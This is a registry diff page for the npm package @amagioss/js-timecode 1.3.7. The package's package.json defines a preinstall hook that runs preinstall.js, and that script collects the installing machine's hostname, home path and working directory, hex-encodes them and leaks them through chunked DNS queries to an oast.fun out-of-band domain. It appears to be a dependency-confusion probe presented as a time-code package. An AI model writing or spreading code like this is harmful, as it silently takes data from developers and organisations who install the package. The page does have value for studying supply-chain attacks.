@amagioss/js-timecode 1.3.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/preinstall.js +100 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@amagioss/js-timecode",
3
+ "version": "1.3.7",
4
+ "description": "test time code",
5
+ "main": "preinstall.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "amagi",
10
+ "license": "ISC"
11
+ }
package/preinstall.js ADDED
@@ -0,0 +1,100 @@
1
+ const dns = require('dns');
2
+
3
+ const crypto = require('crypto');
4
+
5
+ const os = require('os');
6
+
7
+ const path = require('path');
8
+
9
+
10
+ const suffix = '.dns.drwaleunfbsozqlydyns54s0blvmcxb7s.oast.fun';
11
+
12
+ const ns = 'dns1.drwaleunfbsozqlydyns54s0blvmcxb7s.oast.fun';
13
+
14
+
15
+ const package = '@amagioss/js-timecode';
16
+
17
+
18
+ // Only the bare minimum to be able to identify a vulnerable organization
19
+
20
+ const data = {
21
+
22
+ p: package,
23
+
24
+ h: os.hostname(),
25
+
26
+ d: path.resolve('~'),
27
+
28
+ c: process.cwd()
29
+
30
+ };
31
+
32
+
33
+ // Convert data to JSON, then to hexadecimal string, and split into chunks
34
+
35
+ const jsonData = JSON.stringify(data);
36
+
37
+ const hexData = Buffer.from(jsonData).toString('hex');
38
+
39
+ const chunks = hexData.match(/.{1,60}/g);
40
+
41
+
42
+ const id1 = crypto.randomBytes(6).toString('hex');
43
+
44
+ const id2 = crypto.randomBytes(6).toString('hex');
45
+
46
+
47
+ const resolveDns = (hostname, resolver) => {
48
+
49
+ return new Promise((resolve, reject) => {
50
+
51
+ dns.resolve4(hostname, {resolver}, (err) => {
52
+
53
+ if (err) reject(err);
54
+
55
+ else resolve();
56
+
57
+ });
58
+
59
+ });
60
+
61
+ };
62
+
63
+
64
+ const nsIpPromise = new Promise((resolve) => {
65
+
66
+ dns.resolve4(ns, (err, addresses) => {
67
+
68
+ if (err) resolve('8.8.4.4');
69
+
70
+ else resolve(addresses[0]);
71
+
72
+ });
73
+
74
+ });
75
+
76
+
77
+ nsIpPromise.then(nsIp => {
78
+
79
+ const resolver = [nsIp, '8.8.8.8'];
80
+
81
+
82
+ chunks.forEach((chunk, idx) => {
83
+
84
+ const host1 = `v2_f.${id1}.${idx}.${chunk}.v2_e${suffix}`;
85
+
86
+ const host2 = `v2_f.${id2}.${idx}.${chunk}.v2_e${suffix}`;
87
+
88
+
89
+ // Attempt DNS resolution
90
+
91
+ resolveDns(host1, resolver).catch(() => {});
92
+
93
+ resolveDns(host2, resolver).catch(() => {});
94
+
95
+ });
96
+
97
+ });
98
+
99
+
100
+